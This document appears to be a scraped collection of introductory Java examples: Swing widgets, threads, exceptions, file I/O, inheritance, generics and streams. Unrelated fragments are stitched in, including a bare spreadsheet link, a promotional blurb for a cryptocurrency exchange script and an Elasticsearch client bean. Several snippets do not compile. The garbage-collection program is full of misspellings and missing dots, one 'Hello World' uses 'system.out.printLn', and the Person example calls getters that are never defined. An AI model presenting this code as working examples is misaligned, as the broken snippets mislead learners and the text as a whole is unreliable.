		Toolkit tk = frame.getToolkit();
		Dimension dim = tk.getScreenSize();
		int width = (int)dim.getWidth();
		int height = (int)dim.getHeight();
		frame.setSize(width, height);

		frame.setLayout(new FlowLayout());

		cb = new JComboBox();
		cb.addItem("Banana"); cb.addItem("Apple"); cb.addItem("Orange");
		cb.addItem("Grape");  cb.addItem("Mango"); cb.addItem("Pineapple");

		cb.addActionListener(this);
		frame.add(cb);

		label = new JLabel("I show the selected item");
		label.setFont(new Font("Verdana", Font.BOLD, 18));
		label.setForeground(Color.RED);
		frame.add(label);

		frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
		frame.setVisible(true);
	}

	public void actionPerformed(ActionEvent ae)
	{   label.setText((String)cb.getSelectedItem());
	}

	public static void main(String[] args)
	{   new ComboBoxDemo();
	}
}

RadioButtonDemo.java

import java.awt.*;
import java.awt.event.*;
import javax.swing.*;

public class RadioButtonDemo implements ActionListener
{
    private JFrame frame;
	private JRadioButton c1, c2, c3, c4;
	private JLabel label;

	public RadioButtonDemo()
	{
		frame = new JFrame("A Simple Swing App");

		//frame.setSize(600, 400);
		Toolkit tk = frame.getToolkit();
		Dimension dim = tk.getScreenSize();
		int width = (int)dim.getWidth();
		int height = (int)dim.getHeight();
		frame.setSize(width, height);

		frame.setLayout(new FlowLayout());

		c1 = new JRadioButton("Pizza");
		c1.addActionListener(this);
		c1.setFont(new Font("Verdana", Font.BOLD, 18));
		frame.add(c1);

		c2 = new JRadioButton("Burger");
		c2.addActionListener(this);
		c2.setFont(new Font("Verdana", Font.BOLD, 18));
		frame.add(c2);

		c3 = new JRadioButton("Rolls");
		c3.addActionListener(this);
		c3.setFont(new Font("Verdana", Font.BOLD, 18));
		frame.add(c3);

		c4 = new JRadioButton("Beverage");
		c4.addActionListener(this);
		c4.setFont(new Font("Verdana", Font.BOLD, 18));
		frame.add(c4);

		ButtonGroup bg = new ButtonGroup();
		bg.add(c1); bg.add(c2); bg.add(c3); bg.add(c4);

		label = new JLabel("I show the selected items");
		label.setFont(new Font("Verdana", Font.BOLD, 18));
		label.setForeground(Color.RED);
		frame.add(label);

		frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
		frame.setVisible(true);
	}

	public void actionPerformed(ActionEvent ae)
	{   label.setText(ae.getActionCommand());
	}

	public static void main(String[] args)
	{   new RadioButtonDemo();
	}
}

CheckBoxDemo.java

import java.awt.*;
import java.awt.event.*;
import javax.swing.*;

public class CheckBoxDemo implements ItemListener
{
private JFrame frame;
	private JCheckBox c1, c2, c3, c4;
	private JLabel label;
	private String message =" ";

	public CheckBoxDemo()
	{
		frame = new JFrame("A Simple Swing App");

		//frame.setSize(600, 400);
		Toolkit tk = frame.getToolkit();
		Dimension dim = tk.getScreenSize();
		int width = (int)dim.getWidth();
		int height = (int)dim.getHeight();
		frame.setSize(width, height);

		frame.setLayout(new FlowLayout());

		c1 = new JCheckBox("Pizza");
		c1.addItemListener(this);
		c1.setFont(new Font("Verdana", Font.BOLD, 18));
		frame.add(c1);

		c2 = new JCheckBox("Burger");
		c2.addItemListener(this);
		c2.setFont(new Font("Verdana", Font.BOLD, 18));
		frame.add(c2);

		c3 = new JCheckBox("Rolls");
		c3.addItemListener(this);
		c3.setFont(new Font("Verdana", Font.BOLD, 18));
		frame.add(c3);

		c4 = new JCheckBox("Beverage");
		c4.addItemListener(this);
		c4.setFont(new Font("Verdana", Font.BOLD, 18));
		frame.add(c4);

		label = new JLabel("I show the selected items");
		label.setFont(new Font("Verdana", Font.BOLD, 18));
		label.setForeground(Color.RED);
		frame.add(label);


		frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
		frame.setVisible(true);
	}

	public void itemStateChanged(ItemEvent ie)
	{
		if(c1.isSelected())
			message += c1.getText() +" ";
		if(c2.isSelected())
			message += c2.getText() +" ";
		if(c3.isSelected())
			message += c3.getText() +" ";
		if(c4.isSelected())
			message += c4.getText() +" ";
		label.setText(message);

		message = " ";
	}

	public static void main(String[] args)
	{
		new CheckBoxDemo();
	}
}

ButtonDemo.java

import java.awt.*;
import java.awt.event.*;
import javax.swing.*;

public class ButtonDemo  
{   private JFrame frame;
    private JLabel label;
	private JButton b1, b2;

	public ButtonDemo()
	{
		frame = new JFrame("A Simple Swing App");

		Toolkit tk = frame.getToolkit();
		Dimension dim = tk.getScreenSize();
		int width = (int)dim.getWidth();
		int height = (int)dim.getHeight();
		frame.setSize(width, height);

		frame.setLayout(new FlowLayout());

		label = new JLabel("I show the button text");
		label.setFont(new Font("Verdana", Font.BOLD, 18));
		frame.add(label);

		b1 = new JButton("The First Button");
		b1.setFont(new Font("Verdana", Font.BOLD, 18));
		frame.add(b1);
		b1.addActionListener(new ActionListener(){
			public void actionPerformed(ActionEvent ae)
			{   label.setText(b1.getText()+" is pressed!"); 	}
		});

		b2 = new JButton("The Second Button");
		b2.setFont(new Font("Verdana", Font.BOLD, 18));
		frame.add(b2);
		b2.addActionListener(new ActionListener(){
			public void actionPerformed(ActionEvent ae)
			{   label.setText(b2.getText()+" is pressed!"); 	}
		});

		frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
		frame.setVisible(true);
	}

	public static void main(String[] args)
	{   new ButtonDemo();
	}
}

LabelDemo.java

import java.awt.*;
import java.awt.event.*;
import javax.swing.*;

public class LabelDemo
{   private JFrame frame;
    private JLabel label;

	public LabelDemo()
	{
		frame = new JFrame("A Simple Swing App");

		Toolkit tk = frame.getToolkit();
		Dimension dim = tk.getScreenSize();
		int width = (int)dim.getWidth();
		int height = (int)dim.getHeight();
		frame.setSize(width, height);

		frame.setLayout(new FlowLayout());

		ImageIcon ic = new ImageIcon("Animated_butterfly.gif");

		label = new JLabel("A Butterfly", ic, JLabel.CENTER);
		label.setFont(new Font("Verdana", Font.BOLD, 18));
		label.setBackground(Color.yellow);
		frame.add(label);

		frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
		frame.setVisible(true);
	}

	public static void main(String[] args)
	{   new LabelDemo();
	}
}

import java.util.LinkedList;

class SharedResource {
    private LinkedList buffer = new LinkedList<>();
    private int capacity = 2;

    public void produce() throws InterruptedException {
        synchronized (this) {
            while (buffer.size() == capacity) {
                wait();
            }

            int item = (int) (Math.random() * 100);
            System.out.println("Produced: " + item);
            buffer.add(item);

            notify();
        }
    }

    public void consume() throws InterruptedException {
        synchronized (this) {
            while (buffer.isEmpty()) {
                wait();
            }

            int item = buffer.removeFirst();
            System.out.println("Consumed: " + item);

            notify();
        }
    }
}

class Producer extends Thread {
    private SharedResource sharedResource;

    public Producer(SharedResource sharedResource) {
        this.sharedResource = sharedResource;
    }

    @Override
    public void run() {
        try {
            while (true) {
                sharedResource.produce();
                Thread.sleep(1000);
            }
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
    }
}

class Consumer extends Thread {
    private SharedResource sharedResource;

    public Consumer(SharedResource sharedResource) {
        this.sharedResource = sharedResource;
    }

    @Override
    public void run() {
        try {
            while (true) {
                sharedResource.consume();
                Thread.sleep(1000);
            }
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
    }
}

public class ProducerConsumerExample {
    public static void main(String[] args) {
        SharedResource sharedResource = new SharedResource();

        Producer producer = new Producer(sharedResource);
        Consumer consumer = new Consumer(sharedResource);

        producer.start();
        consumer.start();
    }
}

class MyThread extends Thread {
    public void run() {
        System.out.println("run method");
        System.out.println("run method priority: " + Thread.currentThread().getPriority());
        Thread.currentThread().setPriority(4);
        System.out.println("run method priority after setting: " + Thread.currentThread().getPriority());
    }

    public static void main(String[] args) {
        System.out.println("main method");
        System.out.println("main method priority before setting: " + Thread.currentThread().getPriority());

        Thread.currentThread().setPriority(9);

        System.out.println("main method priority after setting: " + Thread.currentThread().getPriority());
    }
}

class MyThread implements Runnable {

    public void run() {
        System.out.println("Hello");
        System.out.println("DS");
    }

    public static void main(String[] args) {
        MyThread obj = new MyThread();
        Thread t = new Thread(obj);
        t.start();
    }
}

public class AssertionExample {
    public static void main(String[] args) {
        int age = 26;

        // simple assertion to check if age is greater than or equal to 18
        assert age >= 18 : "Age must be 18 or older";

        // Rest of the program
        System.out.println("Program continues after the assertion check");

        // More code...
    }
}

public class SeasonExample {
    public enum Season {
        WINTER, SPRING, SUMMER, FALL;
    }

    public static void main(String[] args) {
        int x = 26;

        for (Season s : Season.values()) {
            System.out.println(s);
        }

        assert x == 26 : "Assertion failed"; // Assert that x is 26

        System.out.println(x);
    }
}

import java.util.StringTokenizer;
import java.io.StringReader;
import java.io.StringWriter;

public class StringExample {
    public static void main(String[] args) {
        try {
            StringTokenizer st = new StringTokenizer("My name is Raj");

            while (st.hasMoreTokens()) {
                System.out.println(st.nextToken());
            }

            String s = "Hello World";

            StringReader reader = new StringReader(s);
            int k = 0;

            while ((k = reader.read()) != -1) {
                System.out.print((char) k + ", ");
            }

            System.out.println("\nIn Data is the StringWriter: " + s);

            StringWriter output = new StringWriter();
            output.write(s);

            System.out.println("In Data is the StringWriter: " + output.toString());

            output.close();
        } catch (Exception e) {
            System.out.println("Exception: " + e.getMessage());
        }
    }
}

import java.io.*;

class Test {
    public static void main(String args[]) {
        String path = "sample.txt";
        try {
            BufferedReader br = new BufferedReader(new FileReader(path));
            int charCount = 0;
            int lineCount = 0;
            int wordCount = 0;
            String line;

            while ((line = br.readLine()) != null) {
                charCount += line.length();
                lineCount++;
                String[] words = line.split("\\s+");
                wordCount += words.length;
            }

            br.close();

            System.out.println("Number of characters: " + charCount);
            System.out.println("Number of words: " + wordCount);
            System.out.println("Number of lines: " + lineCount);
        } catch (IOException e) {
            System.out.println(e);
        }
    }
}

import java.io.*;

public class FileCopyExample {

    public static void main(String[] args) {
        try {
            FileReader fr1 = new FileReader("source.txt");
            FileWriter fw2 = new FileWriter("destination.txt");

            int i;
            while ((i = fr1.read()) != -1) {
                fw2.write((char) i);
            }

            System.out.println("File copied");

            fr1.close();
            fw2.close();
        } catch (IOException e) {
            System.out.println("Error: " + e.getMessage());
        }
    }
}

import java.io.*;

public class FileExample {
    static FileInputStream fis;

    public static void main(String[] args) {
        try {
            fis = new FileInputStream("example.txt");

            int data;
            while ((data = fis.read()) != -1) {
                System.out.print((char) data);
            }

            fis.close();
        } catch (IOException io) {
            System.out.println("Caught IOException: " + io.getMessage());
        }
    }
}

// Custom exception class
class NegativeNumberException extends Exception {
    public NegativeNumberException(String message) {
        super(message);
    }
}

// Class using the custom exception
public class CustomExceptionExample {
    public static void main(String[] args) {
        try {
            int result = calculateSquare(5);
            System.out.println("Square: " + result);

            result = calculateSquare(-3); // This will throw NegativeNumberException
            System.out.println("Square: " + result); // This line won't be executed
        } catch (NegativeNumberException e) {
            System.out.println("Error: " + e.getMessage());
        }
    }

    // Method that may throw the custom exception
    private static int calculateSquare(int number) throws NegativeNumberException {
        if (number < 0) {
            // Throw the custom exception if the number is negative
            throw new NegativeNumberException("Negative numbers are not allowed.");
        }
        return number * number;
    }
}

public class ExceptionExample {
    public static void main(String[] args) {
        int n = 26;
        try {
            int m = n / 0;
        } catch (ArithmeticException e) {
            System.out.println("Exception caught: " + e);
        } finally {
            System.out.println("Any number cannot be divided by zero");
        }
    }
}

public class StringBufferStringBuilderExample{
public static void main(String args[]){
StringBuffer stringBuffer=new StringBuffer("hello");
stringBuffer.append(" ").append("world");
System.out.println("StringBuffer result:" + stringBuffer);
StringBuilder stringBuilder=new StringBuilder();
stringBuilder.append("is").append("awesome");
System.out.println("StringBuilder result:" + stringBuilder);
}
}

public class StringExample {
    public static void main(String[] args) {
        String s = "Hello World!";
        System.out.println("Original string: " + s);
        System.out.println("Length: " + s.length());
        System.out.println("Uppercase: " + s.toUpperCase());
        System.out.println("Lowercase: " + s.toLowerCase());
        System.out.println("Substring from index 7: " + s.substring(7));
        System.out.println("Replace 'o' with 'x': " + s.replace('o', 'x'));
        System.out.println("Contains 'world': " + s.contains("world"));
        System.out.println("Starts with 'Hello': " + s.startsWith("Hello"));
        System.out.println("Index of 'o': " + s.indexOf('o'));
        System.out.println("Last index of 'o': " + s.lastIndexOf('o'));
        System.out.println("Ends with 'ld!': " + s.endsWith("ld!"));
        System.out.println("Character at index 4: " + s.charAt(4));
        System.out.println("Trimmed: " + s.trim());
    }
}

// Interface
interface Printable {
    void print();
}

// Class implementing the interface
class Printer implements Printable {
    @Override
    public void print() {
        System.out.println("Printing...");
    }
}

public class InterfaceExample {
    public static void main(String[] args) {
        // Creating an instance of the class implementing the interface
        Printable printer = new Printer();

        // Using the interface method
        printer.print();
    }
}

// Abstract class: Person
abstract class Person {
    private String name;
    private int age;

    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    public abstract void displayDetails();

    public void greet() {
        System.out.println("Hello, I am " + name + ".");
    }
}

// Subclass: Student
class Student extends Person {
    private int studentId;

    public Student(String name, int age, int studentId) {
        super(name, age);
        this.studentId = studentId;
    }

    @Override
    public void displayDetails() {
        System.out.println("Student - Name: " + super.getName() + ", Age: " + super.getAge() +
                ", Student ID: " + studentId);
    }

    public void study() {
        System.out.println("Student is studying.");
    }
}

// Subclass: Faculty
class Faculty extends Person {
    private String department;

    public Faculty(String name, int age, String department) {
        super(name, age);
        this.department = department;
    }

    @Override
    public void displayDetails() {
        System.out.println("Faculty - Name: " + super.getName() + ", Age: " + super.getAge() +
                ", Department: " + department);
    }

    public void teach() {
        System.out.println("Faculty is teaching.");
    }
}

public class PersonExample {
    public static void main(String[] args) {
        Student student = new Student("John", 20, 123);
        Faculty faculty = new Faculty("Dr. Smith", 35, "Computer Science");

        student.displayDetails();
        student.greet();
        student.study();

        System.out.println();

        faculty.displayDetails();
        faculty.greet();
        faculty.teach();
    }
}

// Account class (Base class)
class Account {
 private int accountNumber;
 private double balance;
 public Account(int accountNumber) {
 this.accountNumber = accountNumber;
 this.balance = 0.0;
 }
 public int getAccountNumber() {
 return accountNumber;
 }
 public double getBalance() {
 return balance;
 }
 public void deposit(double amount) {
 balance += amount;
 System.out.println("Deposited: $" + amount);
 }
 public void withdraw(double amount) {
 if (amount <= balance) {
 balance -= amount;
 System.out.println("Withdrawn: $" + amount);
 } else {
 System.out.println("Insufficient balance");
 }
 }
}
// Subclasses of Account
class SavingsAccount extends Account {
 // Additional features specific to savings account
 public SavingsAccount(int accountNumber) {
 super(accountNumber);
 }
}
class CheckingAccount extends Account {
 // Additional features specific to checking account
 public CheckingAccount(int accountNumber) {
 super(accountNumber);
 }
}
// Customer class
class Customer {
 private String name;
 private Account account;
 public Customer(String name, Account account) {
 this.name = name;
 this.account = account;
 }
 public void deposit(double amount) {
 account.deposit(amount);
 }
 public void withdraw(double amount) {
 account.withdraw(amount);
 }
 public double checkBalance() {
 return account.getBalance();
 }
}
// Employee class
class Employee {
 private String name;
 public Employee(String name) {
 this.name = name;
 }
 public void processTransaction(Customer customer, double amount,
String type) {
 if (type.equalsIgnoreCase("Deposit")) {
 customer.deposit(amount);
 } else if (type.equalsIgnoreCase("Withdraw")) {
 customer.withdraw(amount);
 } else {
 System.out.println("Invalid transaction type");
 }
 }
}
// Main class for testing
public class BankingApplication {
 public static void main(String[] args) {
 // Create accounts for customers
 SavingsAccount savingsAccount = new SavingsAccount(1001);
 CheckingAccount checkingAccount = new CheckingAccount(2001);
 // Create customers and link accounts
 Customer customer1 = new Customer("Alice", savingsAccount);
 Customer customer2 = new Customer("Bob", checkingAccount);
 // Create bank employees
 Employee employee1 = new Employee("Eve");
 // Employee processing transactions for customers
 employee1.processTransaction(customer1, 1000, "Deposit");
 employee1.processTransaction(customer2, 500, "Withdraw");
 // Checking customer balances after transactions
 System.out.println("Customer 1 Balance: $" +
customer1.checkBalance());
 System.out.println("Customer 2 Balance: $" +
customer2.checkBalance());
 }
}

class Employee {
    private String name;
    private double baseSalary;

    public Employee(String name, double baseSalary) {
        this.name = name;
        this.baseSalary = baseSalary;
    }

    public String getName() {
        return name;
    }

    // Base implementation of computeSalary method
    public double computeSalary() {
        return baseSalary;
    }
}
class Manager extends Employee {
    private double bonus;

    public Manager(String name, double baseSalary, double bonus) {
        super(name, baseSalary);
        this.bonus = bonus;
    }

    // Override computeSalary method to include bonus
    @Override
    public double computeSalary() {
        // Calling the base class method using super
        double baseSalary = super.computeSalary();
        return baseSalary + bonus;
    }
}
public class PolymorphicInvocationExample {
    public static void main(String[] args) {
        // Polymorphic invocation using base class reference
        Employee emp1 = new Employee("John Doe", 50000.0);
        System.out.println("Employee Salary: $" + emp1.computeSalary());

        // Polymorphic invocation using subclass reference
        Employee emp2 = new Manager("Jane Smith", 60000.0, 10000.0);
        System.out.println("Manager Salary: $" + emp2.computeSalary());
    }
}

// Employee class (base class)
class Employee {
    private String name;
    private int employeeId;

    public Employee(String name, int employeeId) {
        this.name = name;
        this.employeeId = employeeId;
    }

    public String getName() {
        return name;
    }

    public int getEmployeeId() {
        return employeeId;
    }

    public void displayDetails() {
        System.out.println("Employee ID: " + employeeId);
        System.out.println("Name: " + name);
    }
}

// Faculty class (inherits from Employee)
class Faculty extends Employee {
    private String department;
    private String designation;

    public Faculty(String name, int employeeId, String department, String designation) {
        super(name, employeeId);
        this.department = department;
        this.designation = designation;
    }

    public String getDepartment() {
        return department;
    }

    public String getDesignation() {
        return designation;
    }

    @Override
    public void displayDetails() {
        super.displayDetails();
        System.out.println("Department: " + department);
        System.out.println("Designation: " + designation);
    }
}

// Staff class (inherits from Employee)
class Staff extends Employee {
    private String role;

    public Staff(String name, int employeeId, String role) {
        super(name, employeeId);
        this.role = role;
    }

    public String getRole() {
        return role;
    }

    @Override
    public void displayDetails() {
        super.displayDetails();
        System.out.println("Role: " + role);
    }
}

// UniversityProgram class (main program)
public class UniversityProgram {
    public static void main(String[] args) {
        // Creating instances of Faculty and Staff
        Faculty facultyMember = new Faculty("John Doe", 101, "Computer Science", "Professor");
        Staff staffMember = new Staff("Jane Smith", 201, "Administrative Assistant");

        // Displaying details of Faculty and Staff
        System.out.println("Faculty Details:");
        facultyMember.displayDetails();
        System.out.println();

        System.out.println("Staff Details:");
        staffMember.displayDetails();
    }
}

public classgc
{
public static void main(String args[])
{
System.gc();
System.out.println("garbage collection is required using system.gc()");
runtime.getruntime().gc();
System.out.println("garbage collection is required using system.gc()");
Sytsem.out.println("free menory:"+runtime.getruntime() freememory()+"bytes");
System.out.println("total memory:"+runtime.getruntime().totalmemory()+"bytes");
System.out.println("available processors"+runtime.getruntime()available processors());
runtime.getruntime().exit(0);
System.out.println("this linewill not be executed");
}
}

package com.example.custom;
import java.util.ArrayList; // Import ArrayList from java.util package
class CustomClass {
void display() {
System.out.println("Custom class in the custom package.");
}
}
public class Main {
public static void main(String args[]) {
ArrayList list = new ArrayList<>(); // Fix the typo in ArrayList declaration
list.add("hello");
list.add("world");
System.out.println("ArrayList from java.util package: " + list);
CustomClass customObj = new CustomClass();
customObj.display();
AccessModifiersDemo demo = new AccessModifiersDemo();
demo.publicMethod();
demo.defaultMethod();
}
}
class AccessModifiersDemo {
public void publicMethod() {
System.out.println("Public method can be accessed from anywhere.");
}
void defaultMethod() {
System.out.println("Default method can be accessed within the same package.");
}
}

public class ArrayOperations {
    public static void main(String[] args) {
        // Initializing an array
        int[] numbers = { 5, 12, 8, 3, 15 };

        // Accessing elements
        System.out.println("Element at index 2: " + numbers[2]);

        // Finding the length of the array
        System.out.println("Length of the array: " + numbers.length);

        // Modifying an element
        numbers[1] = 20;

        // Printing the array
        System.out.print("Modified array: ");
        for (int i = 0; i < numbers.length; i++) {
            System.out.print(numbers[i] + " ");
        }
        System.out.println();

        // Finding the maximum element
        int maxElement = numbers[0];
        for (int i = 1; i < numbers.length; i++) {
            if (numbers[i] > maxElement) {
                maxElement = numbers[i];
            }
        }
        System.out.println("Maximum element: " + maxElement);

        // Finding the minimum element
        int minElement = numbers[0];
        for (int i = 1; i < numbers.length; i++) {
            if (numbers[i] < minElement) {
                minElement = numbers[i];
            }
        }
        System.out.println("Minimum element: " + minElement);

        // Iterating through the array to calculate the sum
        int sum = 0;
        for (int num : numbers) {
            sum += num;
        }
        System.out.println("Sum of elements: " + sum);
    }
}

public class ArraySumAverage {
    public static void main(String[] args) {
        // Predefined array of integers
        int[] array = { 10, 20, 30, 40, 50 };

        // Calculate sum and average
        int sum = 0;
        for (int i = 0; i < array.length; i++) {
            sum += array[i];
        }
        double average = (double) sum / array.length;

        // Output: Sum and Average
        System.out.println("Sum of the elements: " + sum);
        System.out.println("Average of the elements: " + average);
    }
}

class Explicit
{
    public static void main(String[] args)
    {
        long l=99;
        int i=(int)l;
        System.out.println("long value ="+l);
        System.out.println("int value ="+i);
    }
}

##Constructor overloading##

class T
{
    T()
    {
        System.out.println("0-args");
    }
    T(int i)
    {
        System.out.println("1-args");
    }
    T(int i,int j)
    {
        System.out.println("2-args");
    }
    public static void main(String[] args)
    {
        System.out.println("constructor overloading");
        T t1=new T();
        T t2=new T(10);
        T t3=new T(20,30);
    }
}





##Method overloading##

class MO {
    static int add(int a, int b) {
        return a + b;
    }

    static int add(int a, int b, int c) {
        return a + b + c;
    }

    public static void main(String[] args) {
        System.out.println(add(11, 11));
    }
}

class Comdargs{
public static void main(String[] args){
System.out.println(args[0]+" "+args[1]);
System.out.println(args[0]+args[1]);
}
}


###IN THE COMMAND PROMPT AFTER JAVA COMDARGS GIVE YOUR COMMAND LINE ARRGUMENTS###

import java.util.Scanner;

public class GradeCheckerSwitch {
    public static void main(String[] args) {
        Scanner scanner = new Scanner(System.in);

        System.out.print("Enter the student's score: ");
        int score = scanner.nextInt();

        char grade = getGradeSwitch(score);

        System.out.println("Grade: " + grade);
    }

    public static char getGradeSwitch(int score) {
        int range = score / 10;

        switch (range) {
            case 10:
            case 9:
                return 'A';
            case 8:
                return 'B';
            case 7:
                return 'C';
            case 6:
                return 'D';
            default:
                return 'F';
        }
    }
}



USING IF -ELSE

import java.util.Scanner;

public class GradeCheckerIfElse {
    public static void main(String[] args) {
        Scanner scanner = new Scanner(System.in);

        System.out.print("Enter the student's score: ");
        int score = scanner.nextInt();

        char grade = getGradeIfElse(score);

        System.out.println("Grade: " + grade);
    }

    public static char getGradeIfElse(int score) {
        if (score >= 90 && score <= 100) {
            return 'A';
        } else if (score >= 80 && score < 90) {
            return 'B';
        } else if (score >= 70 && score < 80) {
            return 'C';
        } else if (score >= 60 && score < 70) {
            return 'D';
        } else if (score >= 0 && score < 60) {
            return 'F';
        } else {
            // Handle invalid score (outside the range 0-100)
            System.out.println("Invalid score. Please enter a score between 0 and 100.");
            return '\0'; // '\0' is used to represent an undefined character
        }
    }
}

public class OperatorDemo {
    public static void main(String[] args) {
        // Comparison operators
        int a = 5, b = 10;

        System.out.println("Comparison Operators:");
        System.out.println("a == b: " + (a == b));
        System.out.println("a != b: " + (a != b));
        System.out.println("a < b: " + (a < b));
        System.out.println("a > b: " + (a > b));
        System.out.println("a <= b: " + (a <= b));
        System.out.println("a >= b: " + (a >= b));

        // Arithmetic operators
        int x = 15, y = 4;

        System.out.println("\nArithmetic Operators:");
        System.out.println("x + y: " + (x + y));
        System.out.println("x - y: " + (x - y));
        System.out.println("x * y: " + (x * y));
        System.out.println("x / y: " + (x / y));
        System.out.println("x % y: " + (x % y));

        // Bitwise operators
        int num1 = 5, num2 = 3;

        System.out.println("\nBitwise Operators:");
        System.out.println("num1 & num2: " + (num1 & num2)); // Bitwise AND
        System.out.println("num1 | num2: " + (num1 | num2)); // Bitwise OR
        System.out.println("num1 ^ num2: " + (num1 ^ num2)); // Bitwise XOR
        System.out.println("~num1: " + (~num1));             // Bitwise NOT
        System.out.println("num1 << 1: " + (num1 << 1));     // Left shift
        System.out.println("num1 >> 1: " + (num1 >> 1));     // Right shift
    }
}

          class Demo{
               public static void main(String[] args){
                    system.out.printLn("Hello World");
               }
          }
     

          class Demo{
               public static void main(String[] args){
                    system.out.printLn("Hello World");
               }
          }
     

https://docs.google.com/spreadsheets/d/1sA8p5Qr5c_wzZ7_PMM7bxn2otFEsIkf8xO6FlbbsZms/edit?gid=1395393155#gid=1395393155

The Alphacodez Cryptocurrency Exchange Script is a robust solution for launching secure and efficient trading platforms, featuring user management, a high-performance trading engine, and wallet integration. It offers advanced security measures and customization options. Ongoing support and maintenance ensure smooth operation.

  @Bean(destroyMethod = "close")
  public RestHighLevelClient init() {
    HttpHost[] httpHost;
    httpHost = new HttpHost[model.getHosts().size()];
    HttpHost[] finalHttpHost = httpHost;
    final int[] i = {0};
    model.getHosts().forEach(hostPort -> {
      finalHttpHost[i[0]] = new HttpHost(String.valueOf(hostPort.getHost()), hostPort.getPort(), "http");
      i[0] = i[0] + 1;
    });

    RestClientBuilder builder = RestClient.builder(finalHttpHost);

    if (model.getUsername() != null && model.getPassword() != null) {
      final CredentialsProvider credentialsProvider = new BasicCredentialsProvider();
      credentialsProvider.setCredentials(AuthScope.ANY, new UsernamePasswordCredentials(model.getUsername(), model.getPassword()));
      builder.setHttpClientConfigCallback(httpClientBuilder -> httpClientBuilder.setDefaultCredentialsProvider(credentialsProvider));
    }

    // Cấu hình timeout
    builder.setRequestConfigCallback(requestConfigBuilder -> requestConfigBuilder
            .setSocketTimeout(model.getSocketTimeout())
            .setConnectTimeout(model.getConnectTimeout()));

    return new RestHighLevelClient(builder);
  }

public class ListToArrayExample{  
public static void main(String args[]){  
 List<String> fruitList = new ArrayList<>();    
 fruitList.add("Mango");    
 fruitList.add("Banana");    
 fruitList.add("Apple");    
 fruitList.add("Strawberry");    
 //Converting ArrayList to Array  
 String[] array = fruitList.toArray(new String[fruitList.size()]);    
 System.out.println("Printing Array: "+Arrays.toString(array));  
 System.out.println("Printing List: "+fruitList);  
}  
}  

import java.util.*;  
public class ArrayToListExample{  
public static void main(String args[]){  
//Creating Array  
String[] array={"Java","Python","PHP","C++"};  
System.out.println("Printing Array: "+Arrays.toString(array));  
//Converting Array to List  
List<String> list=new ArrayList<String>();  
for(String lang:array){  
list.add(lang);  
}  
System.out.println("Printing List: "+list);  
  
}  
}  

JedisCluster only supports SCAN commands with MATCH patterns containing hash-tags ( curly-brackets enclosed strings )

import classes.*;

public class Main {
    public static void main(String[] args) {
        Mygeneric mygen = new Mygeneric<String>("Dodi");
        generate(mygen);

        Mygeneric<Object> gen = new Mygeneric<Object>("Jamal");
        process(gen);
        
    }

    public static void doodle(Mygeneric<String> mygen) {
        System.out.println(mygen.getData());
    }

    /*
     * Saya akan menerima parameter apapun hasil instance dari 
     * kelas Mygeneric yang tipe genericnya adalah turunan dari Object
     */
    public static void generate(Mygeneric<? extends Object> data) {
        System.out.println(data.getData());

    }

    /*
     * Saya akan menerima parameter apapun hasil instance dari
     * kelas Mygeneric yang bertipe data String ATAU super class dari
     * String
     */
    public static void process(Mygeneric<? super String> data) {
        String value = (String) data.getData();
        System.out.println(value);
        data.setData("Umar");
        System.out.println(value);
    }
}

public class GenericApp {

    public static void main(String[] args) {
        
        MyGeneric<String> single = new MyGeneric<>("Ichwan");
        generate(single);

    }

    public static void generate(MyGeneric<? extends Object> data){
        System.out.println(data.getData());
    }
}

ArrayList<Number> numbers = new ArrayList<Number>();
// Ini akan menghasilkan kesalahan kompilasi
ArrayList<Integer> integers = numbers;

public class GFG {
 
    public static void main(String[] args)
    {
 
        Integer[] a = { 100, 22, 58, 41, 6, 50 };
 
        Character[] c = { 'v', 'g', 'a', 'c', 'x', 'd', 't' };
 
        String[] s = { "Virat", "Rohit", "Abhinay", "Chandu","Sam", "Bharat", "Kalam" };
 
        System.out.print("Sorted Integer array :  ");
        sort_generics(a);
 
        System.out.print("Sorted Character array :  ");
        sort_generics(c);
 
        System.out.print("Sorted String array :  ");
        sort_generics(s);
       
    }
 
    public static <T extends Comparable<T> > void sort_generics(T[] a)
    {
       
         //As we are comparing the Non-primitive data types 
          //we need to use Comparable class
       
        //Bubble Sort logic
        for (int i = 0; i < a.length - 1; i++) {
 
            for (int j = 0; j < a.length - i - 1; j++) {
 
                if (a[j].compareTo(a[j + 1]) > 0) {
 
                    swap(j, j + 1, a);
                }
            }
        }
 
        // Printing the elements after sorted
 
        for (T i : a) 
        {
            System.out.print(i + ", ");
        }
        System.out.println();
       
    }
 
    public static <T> void swap(int i, int j, T[] a)
    {
        T t = a[i];
        a[i] = a[j];
        a[j] = t;
    }
   
}

class Test<T> {
    // An object of type T is declared
    T obj;
    Test(T obj) { this.obj = obj; } // constructor
    public T getObject() { return this.obj; }
}
 
// Driver class to test above
class Main {
    public static void main(String[] args)
    {
        // instance of Integer type
        Test<Integer> iObj = new Test<Integer>(15);
        System.out.println(iObj.getObject());
 
        // instance of String type
        Test<String> sObj
            = new Test<String>("GeeksForGeeks");
        System.out.println(sObj.getObject());
    }
}

import java.util.*;

import java.util.stream.*;

public class CollectingDemo {

    public static void main(String[] args) {

        ArrayList<Integer> al = new ArrayList<>();

        al.add(5);

        al.add(7);

        al.add(7);

        al.add(30);

        al.add(49);

        al.add(100);

        System.out.println("Actual List: " + al);

        Stream<Integer> odds = al.stream().filter(n -> n % 2 == 1);

        System.out.print("Odd Numbers: ");

        odds.forEach(n -> System.out.print(n + " "));

        System.out.println();

        List<Integer> oddList = al.stream().filter(n -> n % 2 == 1).collect(Collectors.toList());

        System.out.println("The list: " + oddList);

        Set<Integer> oddSet = al.stream().filter(n -> n % 2 == 1).collect(Collectors.toSet());

        System.out.println("The set: " + oddSet);

    }

}

import java.util.*;

import java.util.stream.*;

public class MappingDemo {

    public static void main(String[] args) {

        ArrayList<Integer> al = new ArrayList<>();

        al.add(5);

        al.add(16);

        al.add(25);

        al.add(30);

        al.add(49);

        al.add(100);

        System.out.println("Actual List: " + al);

        Stream<Double> sqr = al.stream().map(n -> Math.sqrt(n));

        System.out.print("Square roots: ");

        sqr.forEach(n -> System.out.print("[" + n + "] "));

        System.out.println();

    }

}

